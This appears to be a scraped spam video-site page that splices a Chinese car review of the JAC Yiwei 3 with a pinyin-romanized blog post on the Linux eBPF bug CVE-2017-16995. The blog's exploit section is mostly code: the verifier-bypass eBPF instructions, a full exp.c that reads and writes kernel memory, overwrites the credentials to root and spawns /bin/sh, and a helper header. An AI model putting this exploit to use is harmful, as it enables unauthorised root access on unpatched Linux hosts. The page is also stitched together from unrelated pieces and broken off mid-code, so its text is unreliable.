91视频专区

《GTV小蓝视频网站链接知乎》高清不卡在线观看 - 全集...

年近“六旬”冲击新能源,江淮钇为能否“后来居上”?原创2023-05-26 18:02·车厘子在电动化和智能化的双轮驱动下,传统燃油车企先行定义的市场格局正在被快速打破,新能源汽车产业发展驶入“快车道”,曾是众多车企“选修课”的新能源化,如今却早已是所有车企的“必修课”,2022年,我国新能源汽车渗透率超过25%,连续8年保持第一。历经十余年的发展,我国新能源市场竞争从销量井喷式增长和各种造车新势力如雨后春笋进场的电气化阶段转向智能化的下半场鏖战,战况虽不如上半场金鼓齐鸣般热闹,但激烈程度和残酷程度有过之无不及,是真正的淘汰赛阶段。此时,拥有近60年造车底蕴的江淮汽车也在新能源市场迈出关键的一步。5月20日,Z世代年轻人勇敢示爱的日子,在年轻舞蹈演员生活情景剧舞蹈,诗朗诵等多个环节后,江淮钇为3正式公布预售价格:六款配置,两种续航(405km、505km)版本,起售价9.79万元。作为江淮汽车旗下全新乘用车品牌的首款车型,钇为3基于全新DI平台打造,定位A0级两厢家轿,剑指欧拉好猫、比亚迪海豚等这一细分市场主流车型,且承担着江淮汽车新能源化新篇章的重任,意义非凡。那这款新车实力如何,否在新能源市场分得一杯羹。精准定位,全新纯电平台强力赋能考虑到真实用车场景和实用性方面,江淮钇为3跳过纯电微型车市场,主攻纯电小型车,主打通勤市场。得益于全新纯电平台,钇为3在空间、续航、配置等方面有着不错的表现,满足用户的“既有、又要、还要”。钇为3的外观设计很治愈,采用泡泡美学设计理念,前脸采用时下新能源汽车流行的封闭进气格栅设计,搭配圆圆的大灯组很像手机中的二次元表情包,对于女性用户有很大的吸引力,不过撞脸欧拉好猫具有一定的争议性。在细节处,新车采用双拼色车身设计和隐藏式门把手,尾部配有小尺寸扰流板,圆圆的尾灯和前大灯相呼应。钇为3的内饰设计与外观呼应,整体风格相当简约,对称式布局非常耐看,大面积白色材质显得十分素雅。其配备悬浮式仪表盘和12.8英寸中控大屏,内置科大讯飞、华为联合深度定制的钇为OS,配备L2级辅助驾驶功能、5G网络、语音控制、全景影像、自动泊车、行车记录仪等功能,可谓麻雀虽小、五脏俱全。江淮钇为承袭江汽集团的造车底蕴,新车搭载着全球首款九合一电驱动系统,这套电驱系统峰值功率100kW,最高车速150km/h;此外,得益于高度集成化,钇为3电驱动舱空间减少40%,空调主机小型化中置前移,仪表台占用空间减小20%,在输出澎湃动力的同时,还为驾乘人员提供更大的空间。针对目前用户对于电动车最关注的电池安全方面,搭载了一款0热扩散蜂窝电池;根据官方披露,这款电池采用圆柱电芯的仿生学设计,可以做到热隔绝、电隔离、热电解耦,可以有效避免电池包出现热失控引起的车辆自燃。起大早赶晚集,能否大有可为?4月发布新品牌,5月20号开启预售的江淮钇为,推进速度并不慢。但从更长的时间维度来看,江淮新能源有点起大早赶晚集了。早在2002年,江淮汽车已经开始布局研发新能源,2016年江淮汽车建立新的新能源汽车制造基地,推出第一款纯电SUV。在发动机、自动变速箱以及新能源三大核心技术上都有自己沉淀的江淮却没有在自主研发这条路深耕下去,选择与蔚来汽车进行合作,开启代工时代。在一众自主品牌中,近些年的智能电动化转型大潮中的江汽集团除了作为蔚来代工厂外,江淮乘用车的市场存在感着实不高,但蔚来这两年的日子也不太好过,销量上,不仅不达标,还被哪吒、零跑赶超,江淮代工的成绩不太理想。与大众合资共同打造的思皓品牌,平均月销不及千辆雷声大雨点小,合作效果不理想,后期更是连“江淮”都不要了,就改名叫大众(安徽),最终落得跟华晨一样。而2023年,中国新能源汽车市场已经进入红海,各个细分市场都排满了兵阵,站满了对手,此时入局新能源市场的江淮钇为赶了个晚集,错过最佳发展时期。在竞争白热化的新能源时代,江淮钇为作为非一线品牌,与欧拉、比亚迪甚至奇瑞等相比在知名度与美誉度上都相去甚远,一头扎进虎狼成群的A级市场,作为全新品牌“江淮钇为”的破局将面临更大的挑战。此外,钇为3面对的竞品并不少,欧拉好猫、比亚迪海豚,五菱缤果等均是这一市场的热门车型,已站稳脚跟,而钇为3的外观设计与欧拉好猫相似,消费者会对其产生一定的顾虑,再加上江淮汽车本身也缺少品牌声量,因此,钇为3要想打响第一炮并不容易。皖城“双子星”,为何最终分道扬镳?在汽车圈,说到江淮,必有人提到奇瑞。过去20年间,皖A和皖B的GDP上演了一幕精彩的《双城记》,而江淮与奇瑞,作为安徽汽车工业的“双子星”也在一直暗中较劲,在国产汽车还没有崛起的时候,江淮汽车凭借着极高的性价比和过硬的产物实力走红,彼时的奇瑞还在发展阶段。随着汽车产业的发展,江淮汽车似乎有点掉队,疯狂走下坡路。奇瑞跟上市场步伐,推出了旗舰级的瑞虎7等不少产物,在轿车方面,艾瑞泽5的风头正盛,让奇瑞看到了希望,不得不说,其实奇瑞在自主研发方面一直没有停下脚步,奇瑞研发的发动机和变速箱,得到了业界的广泛认可。作为中国公司,奇瑞更像是一个技术达人,埋头深耕技术的确有不错的成效。在新能源作为当今汽车行业改革之道的背景下,奇瑞推出“瑶光2025”战略,涵盖火星架构、鲲鹏动力、雄狮生态、银河科技四大核心领域等13项核心技术,而同为“双子星”的江淮却没有太大的动作。十年前江淮和奇瑞这对“好兄弟”的年销量就已在50万辆以上,如今奇瑞正朝向其年销150万辆的目标迈进,成为中国汽车领域不可忽视的存在。而江淮2022年的销量为50.04万辆,与奇瑞越走越远。写在最后作为江淮汽车电动化转型升级的关键一子,江淮钇为承袭江淮深厚的造车底蕴,为以全新的品牌形象、领先的平台技术、创新的产物理念、优秀的产物品质,“亮剑”下半场,意味着江汽集团迈入新时代。同时,钇为3凭借着超强的产物实力,有希望成为江淮在乘用车领域的“首个爆款”,不过对于一个新入场选手而言,需要在营销方面加把力,让消费者了解到这款车,才能迅速打开市场。

2024年12月12日,不得不承认,随着城市化进程的加快,许多传统的民族文化和生产生活方式,正在逐步消失。

《GTV小蓝视频网站链接知乎》高清不卡在线观看 - 全集...

20天大定破3万辆 问界新M7 Ultra领跑智能化下半场

譬如这台既有纯电又有增程、裸车价只要13.59万起的启源础07。外观雍容大气,审美上几乎挑不出毛病,不算很抓眼球但是你看过一两次之后就很难挪动脚步了,看完裸车价之后更是给你亿点点暴击。我在叠站上甚至可以经常看到某些远东博主以举家之力在安利它……那曾经清新的空气,如今变得浑浊不堪,

tongguozhetaopingtai,jichangyunyingzhihuiguannenggouduijichangdeshishiyunyingzhuangtaiyilanwuyi,congershixiangaoxiaodiaoduguanli,tishengjichangyunyingxiaolv。CVE-2017-16995 ebpf fuhaokuozhanloudongxuexibiji2020-04-10 14:07·zhouzhouxueanquanjintiandewenzhangshi i chunqiuluntanzuozhePwnRabb1tyuanchuangdewenzhang,guanyuCVE-2017-16995 ebpf fuhaokuozhanloudongdexuexibiji,wenzhangpianfujiaochang,yueduyue12fenzhong,wenzhangweijingxukejinzhizhuanzai!loudongfenxiguanyuzhegeloudongwangshangyijingyouhenduodewenzhangfenxiliao,zhelibuzuotaiduomiaoshu,zhijiluyixiebijiaozhongyaodedian。shouxianshiebpf,shangyizhangtu:ebpfshouxianxuyaoring3chuanruyiduanzhiling(chuandaoJIT),tahuizaiBPF_PROG_RUNlizuobaoguolv, neihehuishenqingyikuaigongxiangneicun(MAP),neihedeshujujingguoguolvzhihoufangdaoMAPlimian,ranhouring3jiukeyiduxieMAPlaihuoquneiheshuju。zhegeloudongjiandanlaishuojiushifuhaokuozhanmeiyoujianchahao,xiangqianmianshuode,ebpffenchengverifierheBPF_PROG_RUN lianggebufen。chuanrudezhilingqishijiushiyuanbenx64shangzhilingdeyigeyingshe,tahuijianchazhilingdeCFG,shibushiyoufeifaneicunfangwenzhileide(ruguokeyidehuajiuzhijieshineihedaimazhuruliao,keyirenyizhixingdaima),xiaolvshangdekaolv,huihuluediaoyixiefenzhidejiancha,xiangxiamianzheyang,r9dezhigudingshi0xffffffff,namejiubuhuitiaozhuandao[4]debufen,suoyijiubuyongjianchataliao,jieshengshijian。 ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4shouxiankanshangmiandiyitiaozhilingALU_MOV_K(9,0xffffffff),tadengxiaoyur9 = 0xffffffff,duiyingdedaimazai:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1782 if (class == BPF_ALU || class == BPF_ALU64) { err = check_alu_op(env, insn); if (err) return err; } else if (class == BPF_LDX) {diaoyongcheck_alu_ophanshu,zuihoudiaoyongregs[insn->dst_reg].imm = insn->imm;,zhelidelijishushiyongsigned intbaocunde。//ptype struct reg_statetype = struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; };}///* check validity of 32-bit and 64-bit arithmetic operations */static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){ struct reg_state *regs = env->cur_state.regs; u8 opcode = BPF_OP(insn->code); int err;//... } else if (opcode == BPF_MOV) {//.. if (BPF_SRC(insn->code) == BPF_X) { //... } else {// BPF_K <=========================================== /* case: R = imm * remember the value we stored into this reg */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit }//... return 0;}ranhoudiertiaozhilingJMP_JNE_K(9,0xffffffff,2),qijianchazaicheck_cond_jmp_ophanshuli,zheshihouyongdeimmyiranshisigned intleixing,ranhouhouxujianchadeshihoufaxianqianmianr9heJMP_JNE_Kdeimmyiyang,yushijiubuqujiancha[4]kaishidezhilingliao。/* ptype struct reg_statetype = struct reg_state { enum bpf_reg_type type; union { int imm; struct bpf_map *map_ptr; };}*/static int check_cond_jmp_op(struct verifier_env *env, struct bpf_insn *insn, int *insn_idx){ struct reg_state *regs = env->cur_state.regs; struct verifier_state *other_branch; u8 opcode = BPF_OP(insn->code); int err; //.... } else if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE)) { if (opcode == BPF_JEQ) { //... } else { /* detect if (R != imm) goto * and in the fall-through state recognize that R = imm */ regs[insn->dst_reg].type = CONST_IMM; regs[insn->dst_reg].imm = insn->imm; } } if (log_level) print_verifier_state(env); return 0;}ranhoudaoliaoyunxingdezhihou,duiying__bpf_prog_run hanshu:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195ALU_MOV_K:DST=(u32)IMMzhegeshihouDST=0xffffffffJMP_JNE_K:bijiaoDSTheIMM,cishiIMMshisigned intleixing,DST shi uint64_t leixing, IMMhuizuoweikuozhan,yuanlaide0xffffffffyejiushi-1biancheng0xffffffff ffffffff,0xffffffff != 0xffffffff ffffffff,yushijiuhuitiaodaoqianmianzhilingdeLD_IMM_DW(9,1,3), // [4] r9=mapfdkaishizhixing,verifrierdeshihoubingmeiyouzheyiduanzhilingzuojiancha,zheshihoujiukeyizaineihezuorenyidaimazhixingliao。#define DST regs[insn->dst_reg] // uint64_t#define SRC regs[insn->src_reg] // uint64_t#define FP regs[BPF_REG_FP] #define ARG1 regs[BPF_REG_ARG1] #define CTX regs[BPF_REG_CTX] #define IMM insn->imm // signed int //..static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn){ u64 stack[MAX_BPF_STACK / sizeof(u64)]; u64 regs[MAX_BPF_REG], tmp;//..... ALU_MOV_K: DST = (u32) IMM; CONT;//... JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT;//...}womenkeyixieyiduandaimayanzhengyixia:#include #include #include #include #include int main(int argc,char **argv){ setbuf(stdout,0); int imm = 0xffffffff; uint64_t dst = (uint32_t)0xffffffff; if( dst != imm){ printf("vuln\n"); } return 0;}shuchudejieguoshivuln,jiexialaishiruheliyong。loudongliyongloudongliyongdehua,qianmiandefenxiwomenzhidaokeyizaineiherenyidaimazhixing,shouxieebpfdezhiling(qishijiuhewomenshouxiehuibianyiyang),jibenliyongsiluruxia:xieluchutask_structdedizhijiezhutask_structdizhixieluchucreddizhizhijieneicunxiegaiuid,gid,ranhou/bin/sh getshellfuxiandehuanjingwoyongdeneiheshi4.4.110banben, fujianzhongyouwodeconfigwenjian,zhuyaoshijiashangCONFIG_BPF=y heCONFIG_BPF_SYSCALL=yzhelishiyongdebpfzhilingruxia,canzhaopandashifudefenxi: ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit// xiamianzhilingbuhuizuojiancha LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] padding //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0//fixup_bpf_calls JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0// map[0] == 0 renyidizhidu JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit// map[0] == 1 leak rbp addr JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 (rbp) JMP_EXIT(), // [38] exit// map[0] == 2 renyidizhixie STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exitshouxianshir6=map[0],r7=map[1],r8=map[2] (map shiqianmiantidaodegongxiangneicun)ranhoushisangepanduan:map[0]==0shi,genju map[1] dezhilaiduneicun;map[0]==1shi,huoqurbpdezhi==>addr & ~(0x4000 - 1); keyiduqudao task_struct dedizhi;map[0] ==2shi,*map[1]= map[2]([r7]=r8)。expwanzhengexp ruxia , exp.c#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include "bpf_insn_helper.h"typedef uint32_t u32;typedef int32_t s32;typedef uint64_t u64;typedef int64_t s64;void logs(char *tag,char *buf){ printf("[ s]: "); printf(" %s ",tag); printf(": %s\n",buf);}void logx(char *tag,uint32_t num){ printf("[ x] "); printf(" %-20s ",tag); printf(": %-#8x\n",num);}void loglx(char *tag,uint64_t num){ printf("[lx] "); printf(" %-20s ",tag); printf(": %-#16lx\n",num);}void bp(char *tag){ printf("[bp] : %s\n",tag); getchar();}void init(){ setbuf(stdin,0); setbuf(stdout,0);}int mapfd,progfd;int sockets[2];#define LOG_BUF_SIZE 65536#define PROGSIZE 328#define PHYS_OFFSET 0xffff880000000000#define CRED_OFFSET 0x5b0 //0x5f8#define UID_OFFSET 0x4char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));}static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1);}static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n);}#define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg();static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value;}static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2);}static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2);}static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val);}static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1);}static void pwn(void) { printf("pwning\n"); uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); loglx("fpsome",fp); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid /*uidptr = credptr + 4; // uid*/ if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); __write(uidptr+0x8, 0); __write(uidptr+0x10, 0); if (geteuid() == 0) { printf("spawning root shell\n"); system("/bin/sh"); exit(0); } __exit("not vulnerable?");}int main(int argc,char **argv){ init(); struct bpf_insn insns[] = { ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4] ALU64_MOV_K(0,0x0), // [2] r0 = 0 JMP_EXIT(), // [3] exit LD_IMM_DW(9,1,3), // [4] r9 = mapfd BPF_INSN_NEG, // [5] //r6 = map[0] ALU64_MOV_X(1,9), // [6] r1 = r9 ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [8] r2 = r2 -4 ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13] JMP_EXIT(), // [12] exit LDX_MEM_DW(6,0,0), // [13] r6 = [r0] // r7 =map[1] ALU64_MOV_X(1,9), // [14] r1 = r9 ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [16] r2 = r2 -4 ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21] JMP_EXIT(), // [20] exit LDX_MEM_DW(7,0,0), // [21] r7 = [r0] // r8=map[2] ALU64_MOV_X(1,9), // [22] r1 = r9 ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp) ALU64_ADD_K(2,-4), // [24] r2 = r2 -4 ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0 JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29] JMP_EXIT(), // [28] exit LDX_MEM_DW(8,0,0), // [29] r8 = [r0] ALU64_MOV_X(2,0), // [30] r2 = r0 ALU64_MOV_K(0,0), // [31] r0 = 0 JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36] LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1]) STX_MEM_DW(2,0,3), // [34] [r2] = r3 JMP_EXIT(), // [35] exit JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39] STX_MEM_DW(2,0,10), // [37] [r2] = r10 JMP_EXIT(), // [38] exit STX_MEM_DW(7,0,8), // [39] [r7] = r8 JMP_EXIT(), // [40] exit }; /*for(int i=0;i#define ALU_NEG BPF_ALU | BPF_NEG#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE #define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE #define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K#define F_ALU64_NEG BPF_ALU64 | BPF_NEG #define BPF_INSN_NEG \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define ALU_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU64_OP_K(OP,DST,IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM \ })#define ALU64_OP_X(OP,DST,SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 \ })#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)#define JMP_OP_K(OP,DST,IMM,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define JMP_OP_X(OP,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })#define F_JMP_JA BPF_JMP | BPF_JA #define F_JMP_CALL BPF_JMP | BPF_CALL #define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X#define JMP_EXIT() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 \ })#define JMP_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = FUNC \ })#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)// [ det_reg + off ] = src#define STX_MEM_OP(SIZE,DST,OFF,SRC) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ dst_reg + off ] = IMM#define ST_MEM_OP(SIZE,DST,OFF,IMM) \ ((struct bpf_insn) { \ 